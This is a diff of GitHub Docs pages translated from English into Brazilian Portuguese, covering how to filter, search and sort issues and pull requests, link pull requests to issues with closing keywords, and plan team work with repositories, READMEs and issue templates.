+title: Filtrando e pesquisando problemas e pull requests
+intro: 'Para encontrar informações detalhadas sobre um repositório em {% data variables.product.product_name %}, você pode filtrar, ordenar e pesquisar problemas e pull requests que são relevantes para o repositório.'
 redirect_from:
   - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees
   - /articles/filtering-issues-and-pull-requests-by-assignees
@@ -41,100 +41,93 @@ versions:
 topics:
   - Issues
   - Pull requests
-shortTitle: Filter and search
+shortTitle: Filtrar e pesquisar
 type: how_to
 ---
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
-## Filtering issues and pull requests 
+## Filtrar problemas e pull requests
 
-Issues and pull requests come with a set of default filters you can apply to organize your listings.
+Problemas e pull requests possuem um conjunto de filtros padrão que podem ser aplicados para organizar suas listas.
 
 {% data reusables.search.requested_reviews_search %}
 
-You can filter issues and pull requests to find:
-- All open issues and pull requests
-- Issues and pull requests that you've created
-- Issues and pull requests that are assigned to you
-- Issues and pull requests where you're [**@mentioned**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+É possível filtrar problemas e pull requests para encontrar:
+- Todos os problemas e pull requests abertos
+- Problemas e pull requests criados
+- Problemas e pull requests atribuídos a você
+- Problemas e pull requests nos quais você foi [**@mentioned**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) (@mencionado)
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-3. Click **Filters** to choose the type of filter you're interested in.
-  ![Using the Filters drop-down](/assets/images/help/issues/issues_filter_dropdown.png)
+3. Clique em **Filters** (Filtros) para escolher o tipo de filtro desejado. ![Usar o menu suspenso Filters (Filtros)](/assets/images/help/issues/issues_filter_dropdown.png)
 
-## Filtering issues and pull requests by assignees
+## Filtrar problemas e pull requests por responsáveis
 
-Once you've [assigned an issue or pull request to someone](/articles/assigning-issues-and-pull-requests-to-other-github-users), you can find items based on who's working on them.
+Uma vez que você [atribuiu um problema ou pull request a alguém](/articles/assigning-issues-and-pull-requests-to-other-github-users), você poderá encontrar itens baseado em quem está trabalhando neles.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-3. In the upper-right corner, select the Assignee drop-down menu.
-4. The Assignee drop-down menu lists everyone who has write access to your repository. Click the name of the person whose assigned items you want to see, or click **Assigned to nobody** to see which issues are unassigned.
-![Using the Assignees drop-down tab](/assets/images/help/issues/issues_assignee_dropdown.png)
+3. No canto superior direito, selecione o menu suspenso Assignee (Responsável).
+4. O menu suspenso Assignee (Responsável) lista todas as pessoas que têm acesso de gravação no repositório. Clique sobre o nome da pessoa cujos itens atribuídos você quer ver ou clique **Assigned to nobody** (Atribuído a ninguém) para verificar quais problemas estão sem responsáveis. ![Usar a aba suspensa Assignees (Responsáveis)](/assets/images/help/issues/issues_assignee_dropdown.png)
 
 {% tip %}
 
-To clear your filter selection, click **Clear current search query, filters, and sorts**.
+Para limpar a seleção de filtro, clique em **Clear current search query, filters, and sorts** (Limpar consulta atual, filtros e ordenar).
 
 {% endtip %}
 
-## Filtering issues and pull requests by labels
+## Filtrar problemas e pull requests por etiquetas
 
-Once you've [applied labels to an issue or pull request](/articles/applying-labels-to-issues-and-pull-requests), you can find items based on their labels.
+Depois que [aplicou etiquetas a um problema ou pull request](/articles/applying-labels-to-issues-and-pull-requests), você poderá encontrar itens baseados nas suas etiquetas.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
-4. In the list of labels, click a label to see the issues and pull requests that it's been applied to.
-  ![List of a repository's labels](/assets/images/help/issues/labels-page.png)
+4. Na lista de etiquetas, clique em uma etiqueta para visualizar os problemas e pull requests atribuídas a ela. ![Lista de etiquetas de um repositório](/assets/images/help/issues/labels-page.png)
 
 {% tip %}
 
-**Tip:** To clear your filter selection, click **Clear current search query, filters, and sorts**.
+**Dica: **para limpar a seleção de filtro, clique em **Clear current search query, filters, and sorts** (Limpar consulta atual, filtros e ordenar).
 
 {% endtip %}
 
-## Filtering pull requests by review status
+## Filtrar pull requests por status de revisão
 
-You can use filters to list pull requests by review status and to find pull requests that you've reviewed or other people have asked you to review.
+É possível usar filtros para listar pull requests por status de revisão e encontrar as que você revisou ou outras pessoas solicitaram que você revisasse.
 
-You can filter a repository's list of pull requests to find:
-- Pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet
-- Pull requests that [require a review](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged
-- Pull requests that a reviewer has approved
-- Pull requests in which a reviewer has asked for changes
-- Pull requests that you have reviewed{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-- Pull requests that someone has asked you directly to review{% endif %}
-- Pull requests that [someone has asked you, or a team you're a member of, to review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)
+Você pode filtrar uma lista de pull requests do repositório para encontrar:
+- Pull requests que ainda não foram [revisadas](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)
+- Pull requests que [necessitam de revisão](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) antes de serem mescladas
+- Pull requests que um revisor aprovou
+- Pull requests nas quais um revisor solicitou alterações
+- Os pull requests que você revisou{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+- Pull requests que alguém pediu para você para revisar diretamente{% endif %}
+- Pull requests que [alguém solicitou revisão a você ou a uma equipe a que você pertence](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-3. In the upper-right corner, select the Reviews drop-down menu.
-  ![Reviews drop-down menu in the filter menu above the list of pull requests](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
-4. Choose a filter to find all of the pull requests with that filter's status.
-  ![List of filters in the Reviews drop-down menu](/assets/images/help/pull_requests/pr-review-filters.png)
+3. No canto superior direito, selecione o menu suspenso Reviews (Revisões). ![Menu suspenso Reviews (Revisões) no menu filter (filtro) acima da lista de pull requests](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
+4. Escolha um filtro para encontrar todas as pull requests com o status do filtro. ![Lista de filtros no menu suspenso Reviews (Revisões)](/assets/images/help/pull_requests/pr-review-filters.png)
 
-## Using search to filter issues and pull requests
+## Usar a pesquisa para filtrar problemas e pull requests
 
-You can use advanced filters to search for issues and pull requests that meet specific criteria.
+Você pode usar filtros avançados para pesquisar problemas e pull requests que atendam a critérios específicos.
 
-### Searching for issues and pull requests
-
-{% include tool-switcher %}
+### Pesquisando problemas e pull requests
 
 {% webui %}
 
-The issues and pull requests search bar allows you to define your own custom filters and sort by a wide variety of criteria. You can find the search bar on each repository's **Issues** and **Pull requests** tabs and on your [Issues and Pull requests dashboards](/articles/viewing-all-of-your-issues-and-pull-requests).
+A barra de pesquisa de problemas e pull requests permite que você defina seus próprios filtros personalizados e ordene por uma ampla variedade de critérios. A barra de pesquisa pode ser encontrada nas guias **Problemas** e **Pull requests** de cada repositório nos [Painéis de problemas e pull requests](/articles/viewing-all-of-your-issues-and-pull-requests).
 
-![The issues and pull requests search bar](/assets/images/help/issues/issues_search_bar.png)
+![A barra de pesquisa de problemas e pull request](/assets/images/help/issues/issues_search_bar.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.search.search_issues_and_pull_requests_shortcut %}
+**Dica:** {% data reusables.search.search_issues_and_pull_requests_shortcut %}
 
 {% endtip %}
 
@@ -144,15 +137,15 @@ The issues and pull requests search bar allows you to define your own custom fil
 
 {% data reusables.cli.cli-learn-more %}
 
-You can use the {% data variables.product.prodname_cli %} to search for issues or pull requests. Use the `gh issue list` or `gh pr list` subcommand along with the `--search` argument and a search query.
+Você pode usar o {% data variables.product.prodname_cli %} para pesquisar problemas ou pull requests. Use o subcomando `gh issue list` ou `gh pr list` junto com o argumento `--search` e uma consulta de pesquisa.
 
-For example, you can list, in order of date created, all issues that have no assignee and that have the label `help wanted` or `bug`.
+Por exemplo, você pode listar, na ordem da data de criação, todos os problemas que não têm nenhum responsável e que têm a etiqueta `help wanted` ou `erro`.
 
 ```shell
 gh issue list --search 'no:assignee label:"help wanted",bug sort:created-asc'
 ```
 
-You can also list all pull requests that mention the `octo-org/octo-team` team.
+Você também pode listar todos os pull requests que mencionam a equipe `octo-org/octo-team`.
 
 ```shell
 gh pr list --search "team:octo-org/octo-team"
@@ -160,78 +153,77 @@ gh pr list --search "team:octo-org/octo-team"
 
 {% endcli %}
 
-### About search terms
+### Sobre termos de pesquisa
 
-With issue and pull request search terms, you can:
+Com os termos da pesquisa de problemas e pull requests, é possível:
 
-- Filter issues and pull requests by author: `state:open type:issue author:octocat`
-- Filter issues and pull requests that involve, but don't necessarily [**@mention**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), certain people: `state:open type:issue involves:octocat`
-- Filter issues and pull requests by assignee: `state:open type:issue assignee:octocat`
-- Filter issues and pull requests by label: `state:open type:issue label:"bug"`
-- Filter out search terms by using `-` before the term: `state:open type:issue -author:octocat`
+- Filtrar problemas e pull requests por autor: `state:open type:issue author:octocat`
+- Filtrar problemas e pull requests que envolvem determinadas pessoas, mas não necessariamente as [**@mencionam**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams): `state:open type:issue involves:octocat`
+- Filtrar problemas e pull requests por responsável: `state:open type:issue assignee:octocat`
+- Filtrar problemas e pull requests por etiqueta: `state:open type:issue label:"bug"`
+- Filtrar termos da pesquisa usando `-` antes do termo: `state:open type:issue -author:octocat`
 
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 {% tip %}
 
-**Tip:** You can filter issues and pull requests by label using logical OR or using logical AND.
-- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`. 
-- To filter issues using logical AND, use separate label filters: `label:"bug" label:"wip"`.
+**Dica:** Você pode filtrar problemas e pull requests por etiqueta, usando a lógica OU ou E.
+- Para filtrar problemas usando ROM OR, use a sintaxe de vírgula: `label:"bug","wip"`.
+- Para filtrar problemas usando a lógica E, use filtros separados de etiqueta: `label:"bug" label:"wip"`.
 
 {% endtip %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-For issues, you can also use search to:
+Para problemas, você também pode usar a busca para:
 
-- Filter for issues that are linked to a pull request by a closing reference: `linked:pr`
+- Filtrar por problemas que estão vinculados a uma pull request por uma referência de fechamento: `linked:pr`
 {% endif %}
 
-For pull requests, you can also use search to:
-- Filter [draft](/articles/about-pull-requests#draft-pull-requests) pull requests: `is:draft`
-- Filter pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet: `state:open type:pr review:none`
-- Filter pull requests that [require a review](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged: `state:open type:pr review:required`
-- Filter pull requests that a reviewer has approved: `state:open type:pr review:approved`
-- Filter pull requests in which a reviewer has asked for changes: `state:open type:pr review:changes_requested`
-- Filter pull requests by [reviewer](/articles/about-pull-request-reviews/): `state:open type:pr reviewed-by:octocat`
-- Filter pull requests by the specific user [requested for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat`{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-- Filter pull requests that someone has asked you directly to review: `state:open type:pr user-review-requested:@me`{% endif %}
-- Filter pull requests by the team requested for review: `state:open type:pr team-review-requested:github/atom`{% ifversion fpt or ghes or ghae or ghec %}
-- Filter for pull requests that are linked to an issue that the pull request may close: `linked:issue`{% endif %}
+Para pull requests, você também pode usar a pesquisa para:
+- Filtrar pull requests de [rascunho](/articles/about-pull-requests#draft-pull-requests): `is:draft`
+- Filtrar pull requests que não tenham sido [revisadas](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet: `state:open type:pr review:none`
+- Filtrar pull requests que [exijam uma revisão](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) para que o merge possa ser feito: `state:open type:pr review:required`
+- Filtrar pull requests que tenham sido aprovadas por um revisor: `state:open type:pr review:approved`
+- Filtrar pull requests nas quais um revisor tenha solicitado alterações: `state:open type:pr review:changes_requested`
+- Filtrar pull requests por [revisor](/articles/about-pull-request-reviews/): `state:open type:pr reviewed-by:octocat`
+- Filtrar pull requests por usuário específico [solicitado para revisão](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat`{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+- Filtrar pull requests que alguém pediu para você revisar diretamente: `state:open type:pr user-review-requested:@me`{% endif %}
+- Filtrar pull requests pela equipe solicitada para revisão: `state:open type:pr team-review-requested:github/atom`{% ifversion fpt or ghes or ghae or ghec %}
+- Filtro por pull requests que estão vinculadas a um problema que a pull request pode concluir: `linked:issue`{% endif %}
 
-## Sorting issues and pull requests
+## Ordenar problemas e pull requests
 
-Filters can be sorted to provide better information during a specific time period.
+Filtros podem ser ordenados para fornecer informações melhores durante um período específico.
 
-You can sort any filtered view by:
+Você pode ordenar qualquer exibição filtrada por:
 
-* The newest created issues or pull requests
-* The oldest created issues or pull requests
-* The most commented issues or pull requests
-* The least commented issues or pull requests
-* The newest updated issues or pull requests
-* The oldest updated issues or pull requests
-* The most added reaction on issues or pull requests
+* Prolemas ou pull requests com data de criação mais recente
+* Prolemas ou pull requests com data de criação mais antiga
+* Problemas ou pull requests com mais comentários
+* Problemas ou pull requests com menos comentários
+* Prolemas ou pull requests com data de atualização mais recente
+* Prolemas ou pull requests com data de atualização mais antiga
+* A reação mais adicionada em problemas ou pull requests
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-1. In the upper-right corner, select the Sort drop-down menu.
-  ![Using the Sort drop-down tab](/assets/images/help/issues/issues_sort_dropdown.png)
+1. No canto superior direito, selecione o menu suspenso Sort (Ordenar). ![Usar a aba suspensa Sort (Ordenar)](/assets/images/help/issues/issues_sort_dropdown.png)
 
-To clear your sort selection, click **Sort** > **Newest**.
+Para limpar a seleção da ordenação, clique em **Sort** (Ordenar) > **Newest** (Mais recente).
 
 
-## Sharing filters
+## Compartilhar filtros
 
-When you filter or sort issues and pull requests, your browser's URL is automatically updated to match the new view.
+Quando você filtra ou ordena problemas e pull requests, a URL do navegador é automaticamente atualizada para corresponder à nova exibição.
 
-You can send the URL that issues generates to any user, and they'll be able to see the same filter view that you see.
+Você pode enviar a URL que geradas pelos problemas para qualquer usuário e ele verá a mesma exibição com filtro que você.
 
-For example, if you filter on issues assigned to Hubot, and sort on the oldest open issues, your URL would update to something like the following:
+Por exemplo, se você filtrar por problemas atribuídos a Hubot e ordenar pelos problemas abertos mais antigos, a URL seria atualizada para algo como o seguinte:
 
 ```
 /issues?q=state:open+type:issue+assignee:hubot+sort:created-asc
 ```
 
-## Further reading
+## Leia mais
 
-- "[Searching issues and pull requests](/articles/searching-issues)"
+- "[Pesquisando problemas e pull requests](/articles/searching-issues)"
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
index 8eca5faf19..baab795cf8 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Linking a pull request to an issue
-intro: You can link a pull request to an issue to show that a fix is in progress and to automatically close the issue when the pull request is merged.
+title: Vinculando uma pull request a um problema
+intro: Você pode vincular um pull request a um problema para mostrar que uma correção está em andamento e para fechar automaticamente o problema quando o pull request for mesclado.
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue
   - /articles/closing-issues-via-commit-message
@@ -16,25 +16,26 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Link PR to issue
+shortTitle: Vincular PR a um problema
 ---
+
 {% note %}
 
-**Note:** The special keywords in a pull request description are interpreted when the pull request targets the repository's *default* branch. However, if the PR's base is *any other branch*, then these keywords are ignored, no links are created and merging the PR has no effect on the issues. **If you want to link a pull request to an issue using a keyword, the PR must be on the default branch.**
+**Observação:** As palavras-chave especiais na descrição de um pull request são interpretadas quando o pull request aponta para o branch-padrão do *repositório*. No entanto, se a base do PR's for *qualquer outro branch*, essas palavras-chave serão ignoradas, nenhum link será criado e o merge do PR não terá efeito sobre os problemas. **Se você deseja vincular um pull request a um problema usando uma palavra-chave, o PR deverá estar no branch-padrão.**
 
 {% endnote %}
 
-## About linked issues and pull requests
+## Sobre problemas e pull requests vinculados
 
-You can link an issue to a pull request {% ifversion fpt or ghes or ghae or ghec %}manually or {% endif %}using a supported keyword in the pull request description.
+Você pode vincular um problema a uma pull request {% ifversion fpt or ghes or ghae or ghec %}manualmente ou {% endif %}usando uma palavra-chave suportada na descrição da pull request.
 
-When you link a pull request to the issue the pull request addresses, collaborators can see that someone is working on the issue.
+Quando você vincula uma pull request ao problema que a pull request tem de lidar, os colaboradores poderão ver que alguém está trabalhando no problema.
 
-When you merge a linked pull request into the default branch of a repository, its linked issue is automatically closed. For more information about the default branch, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+Quando você mescla uma pull request vinculada no branch padrão de um repositório, o problema vinculado será fechado automaticamente. Para obter mais informações sobre o branch padrão, consulte "[Configurado o branch padrão](/github/administering-a-repository/setting-the-default-branch). "
 
-## Linking a pull request to an issue using a keyword
+## Vinculando uma pull request a um problema usando uma palavra-chave
 
-You can link a pull request to an issue by using a supported keyword in the pull request's description or in a commit message (please note that the pull request must be on the default branch).
+Você pode vincular uma solicitação de pull a um problema usando uma palavra-chave compatível na descrição do pull request ou em uma mensagem de commit (observe que a solicitação do pull deve estar no branch-padrão).
 
 * close
 * closes
@@ -42,41 +43,39 @@ You can link a pull request to an issue by using a supported keyword in the pull
 * fix
 * fixes
 * fixed
+* resolver
 * resolve
-* resolves
 * resolved
 
-If you use a keyword to reference a pull request comment in another pull request, the pull requests will be linked. Merging the referencing pull request will also close the referenced pull request.
+Se você usar uma palavra-chave para fazer referência a um comentário de um pull request em outr pull request, os pull requests serão vinculados. O merge do pull request de referência também fechará o pull request de referência.
 
-The syntax for closing keywords depends on whether the issue is in the same repository as the pull request.
+A sintaxe para fechar palavras-chave depende se o problema está no mesmo repositório que a pull request.
 
-Linked issue | Syntax | Example
---------------- | ------ | ------
-Issue in the same repository | *KEYWORD* #*ISSUE-NUMBER* | `Closes #10`
-Issue in a different repository | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`
-Multiple issues | Use full syntax for each issue | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100`
+| Problemas vinculado                  | Sintaxe                                       | Exemplo                                                        |
+| ------------------------------------ | --------------------------------------------- | -------------------------------------------------------------- |
+| Problema no mesmo repositório        | *KEYWORD* #*ISSUE-NUMBER*                     | `Closes #10`                                                   |
+| Problema em um repositório diferente | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`                                 |
+| Múltiplos problemas                  | Usar sintaxe completa para cada problema      | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100` |
 
-{% ifversion fpt or ghes or ghae or ghec %}Only manually linked pull requests can be manually unlinked. To unlink an issue that you linked using a keyword, you must edit the pull request description to remove the keyword.{% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}Somente pull requests vinculadas manualmente podem ser desvinculadas. Para desvincular um problema que você vinculou usando uma palavra-chave, você deve editar a descrição da pull request para remover a palavra-chave.{% endif %}
 
-You can also use closing keywords in a commit message. The issue will be closed when you merge the commit into the default branch, but the pull request that contains the commit will not be listed as a linked pull request.
+Você também pode usar palavras-chave de fechamento em uma mensagem de commit. O problema será encerrado quando você mesclar o commit no branch padrão, mas o pull request que contém o commit não será listado como um pull request vinculado.
 
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Manually linking a pull request to an issue
+## Vinculando manualmente uma pull request a um problema
 
-Anyone with write permissions to a repository can manually link a pull request to an issue.
+Qualquer pessoa com permissões de gravação em um repositório pode vincular manualmente uma pull request a um problema.
 
-You can manually link up to ten issues to each pull request. The issue and pull request must be in the same repository.
+Você pode vincular manualmente até dez problemas para cada pull request. O problema e a pull request devem estar no mesmo repositório.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-3. In the list of pull requests, click the pull request that you'd like to link to an issue.
-4. In the right sidebar, click **Linked issues**.
-  ![Linked issues in the right sidebar](/assets/images/help/pull_requests/linked-issues.png)
-5. Click the issue you want to link to the pull request.
-  ![Drop down to link issue](/assets/images/help/pull_requests/link-issue-drop-down.png)
+3. Na lista de pull requests, clique na pull request que você gostaria de vincular a um problema.
+4. Na barra lateral direita, clique em **Linked issues** (Problemas vinculados) ![Problemas vinculados na barra lateral direita](/assets/images/help/pull_requests/linked-issues.png)
+5. Clique no problema que você deseja associar à pull request. ![Menu suspenso para problemas vinculados](/assets/images/help/pull_requests/link-issue-drop-down.png)
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Autolinked references and URLs](/articles/autolinked-references-and-urls/#issues-and-pull-requests)"
+- "[Referências autovinculadas e URLs](/articles/autolinked-references-and-urls/#issues-and-pull-requests)"
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
index a25ffa5e3e..84a700c17c 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
@@ -1,6 +1,6 @@
 ---
-title: Planning and tracking work for your team or project
-intro: 'The essentials for using {% data variables.product.prodname_dotcom %}''s planning and tracking tools to manage work on a team or project.'
+title: Planejamento e rastreamento de trabalho para a sua equipe ou projeto
+intro: 'O básico para usar as ferramentas de planejamento e rastreamento de {% data variables.product.prodname_dotcom %} para gerenciar o trabalho em uma equipe ou projeto.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,111 +11,112 @@ topics:
   - Project management
   - Projects
 ---
-## Introduction
-You can use {% data variables.product.prodname_dotcom %} repositories, issues, project boards, and other tools to plan and track your work, whether working on an individual project or cross-functional team.
 
-In this guide, you will learn how to create and set up a repository for collaborating with a group of people, create issue templates{% ifversion fpt or ghec %} and forms{% endif %}, open issues and use task lists to break down work, and establish a project board for organizing and tracking issues.
+## Introdução
+Você pode usar {% data variables.product.prodname_dotcom %} repositórios, problemas, quadros de projeto e outras ferramentas para planejar e acompanhar seu trabalho, caso esteja trabalhando em um projeto individual ou em uma equipe multifuncional.
 
-## Creating a repository
-When starting a new project, initiative, or feature, the first step is to create a repository. Repositories contain all of your project's files and give you a place to collaborate with others and manage your work. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
+Neste guia, você aprenderá a criar e configurar um repositório para colaborar com um grupo de pessoas, criar modelos de problema{% ifversion fpt or ghec %} e formulários{% endif %}, problemas abertos e usar listas de tarefas para dividir o trabalho e estabelecer um quadro de projetos para organizar e rastrear problemas.
 
-You can set up repositories for different purposes based on your needs. The following are some common use cases:
+## Criar um repositório
+Ao iniciar um novo projeto, iniciativa, ou recurso, o primeiro passo é criar um repositório. Os repositórios contêm todos os arquivos do seu projeto e fornece a você um lugar para colaborar com outros e gerenciar seu trabalho. Para obter mais informações, consulte "[Criar um novo repositório](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
 
-- **Product repositories**: Larger organizations that track their work and goals around specific products may have one or more repositories containing the code and other files. These repositories can also be used for documentation, reporting on product health or future plans for the product. 
-- **Project repositories**: You can create a repository for an individual project you are working on, or for a project you are collaborating on with others. For an organization that tracks work for short-lived initiatives or projects, such as a consulting firm, there is a need to report on the health of a project and move people between different projects based on skills and needs. Code for the project is often contained in a single repository.
-- **Team repositories**: For an organization that groups people into teams, and brings projects to them, such as a dev tools team, code may be scattered across many repositories for the different work they need to track. In this case it may be helpful to have a team-specific repository as one place to track all the work the team is involved in.
-- **Personal repositories**: You can create a personal repository to track all your work in one place, plan future tasks, or even add notes or information you want to save. You can also add collaborators if you want to share this information with others. 
+Você pode definir repositórios para diferentes finalidades com base nas suas necessidades. A seguir, estão alguns casos de uso:
 
-You can create multiple, separate repositories if you want different access permissions for the source code and for tracking issues and discussions. For more information, see "[Creating an issues-only repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository)."
+- **Repositórios de produtos**: As organizações maiores que rastreiam seus trabalhos e metas em torno de produtos específicos podem ter um ou mais repositórios que contêm o código e outros arquivos. Esses repositórios também podem ser usados para documentação, relatórios sobre saúde do produto ou planos futuros para o produto.
+- **Repositórios de projetos**: Você pode criar um repositório para um projeto em que está trabalhando ou para um projeto em que você está colaborando com os outros. Para uma organização que monitora o trabalho para iniciativas ou projetos de curta duração, como uma empresa de consultoria, é necessário apresentar um relatório sobre a saúde de um projeto e transferir as pessoas para diferentes projetos com base nas competências e nas necessidades. O código para o projeto está frequentemente contido em um único repositório.
+- **Repositórios de equipes**: Para uma organização que agrupa pessoas em equipe e traz projetos para eles, como uma equipe de ferramentas de desenvolvimento, o código pode estar espalhado por muitos repositórios para o trabalho diferente que eles precisam rastrear. Neste caso, pode ser útil ter um repositório específico para a equipe, como um só lugar para acompanhar todo o trabalho em que a equipe está envolvida.
+- **Repositórios pessoais**: Você pode criar um repositório pessoal para acompanhar todo o seu trabalho em um só lugar, planejar tarefas futuras, ou até adicionar observações ou informações que deseja salvar. Você também pode adicionar colaboradores se quiser compartilhar essas informações com outras pessoas.
 
-For the following examples in this guide, we will be using an example repository called Project Octocat.
-## Communicating repository information
-You can create a README.md file for your repository to introduce your team or project and communicate important information about it. A README is often the first item a visitor to your repository will see, so you can also provide information on how users or contributors can get started with the project and how to contact the team. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes)."
+Você pode criar repositórios múltiplos e separados se quiser diferentes permissões de acesso para o código-fonte e para problemas de rastreamento e discussões. Para obter mais informações, consulte "[Criar um repositório exclusivo de problemas](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository)".
 
-You can also create a CONTRIBUTING.md file specifically to contain guidelines on how users or contributors can contribute and interact with the team or project, such as how to open a bug fix issue or request an improvement. For more information, see "[Setting guidelines for repository contributors](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)."
-### README example
-We can create a README.md to introduce our new project, Project Octocat. 
+Para os seguintes exemplos neste guia, usaremos um repositório de exemplo denominado Project Octocat.
+## Comunicando informações do repositório
+Você pode criar um arquivo README.md para o repositório apresentar a sua equipe ou projeto e comunicar informações importantes sobre ele. Muitas vezes, um README é o primeiro item que um visitante ao repositório irá ver. Portanto, você também pode fornecer informações sobre como usuários ou contribuidores podem começar com o projeto e como entrar em contato com a equipe. Para obter mais informações, consulte "[Sobre README](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes)".
 
-![Creating README example](/assets/images/help/issues/quickstart-creating-readme.png)
-## Creating issue templates
+Você também pode criar um arquivo CONTRIBUTING.md específico para conter diretrizes sobre como usuários ou contribuidores podem contribuir e interagir com a equipe ou projeto, como abrir um problema de correção de erros ou solicitar melhoria. Para obter mais informações, consulte "[Configurar diretrizes para contribuidores de repositório](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)".
+### Exemplo README
+Podemos criar um README.md para introduzir nosso novo projeto, projeto do Octocat.
 
-You can use issues to track the different types of work that your cross-functional team or project covers, as well as gather information from those outside of your project. The following are a few common use cases for issues.
+![Criando um exemplo README](/assets/images/help/issues/quickstart-creating-readme.png)
+## Criando modelos de problemas
 
-- Release tracking: You can use an issue to track the progress for a release or the steps to complete the day of a launch.
-- Large initiatives: You can use an issue to track progress on a large initiative or project, which is then linked to the smaller issues.
-- Feature requests: Your team or users can create issues to request an improvement to your product or project.
-- Bugs: Your team or users can create issues to report a bug. 
+Você pode usar problemas para acompanhar os diferentes tipos de trabalho que sua equipe multifuncional ou seu projeto abrange, além de coletar informações daqueles que estão fora do seu projeto. A seguir, estão alguns casos comuns de utilização para os problemas.
 
-Depending on the type of repository and project you are working on, you may prioritize certain types of issues over others. Once you have identified the most common issue types for your team, you can create issue templates {% ifversion fpt or ghec %}and forms{% endif %} for your repository. Issue templates {% ifversion fpt or ghec %}and forms{% endif %} allow you to create a standardized list of templates that a contributor can choose from when they open an issue in your repository. For more information, see "[Configuring issue templates for your repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository)."
+- Monitoramento da versão: Você pode usar um problema para acompanhar o progresso de uma versão ou as etapas para concluir o dia de um lançamento.
+- Grandes iniciativas: Você pode usar um problema para acompanhar o progresso em uma grande iniciativa ou projeto, que está vinculado a problemas menores.
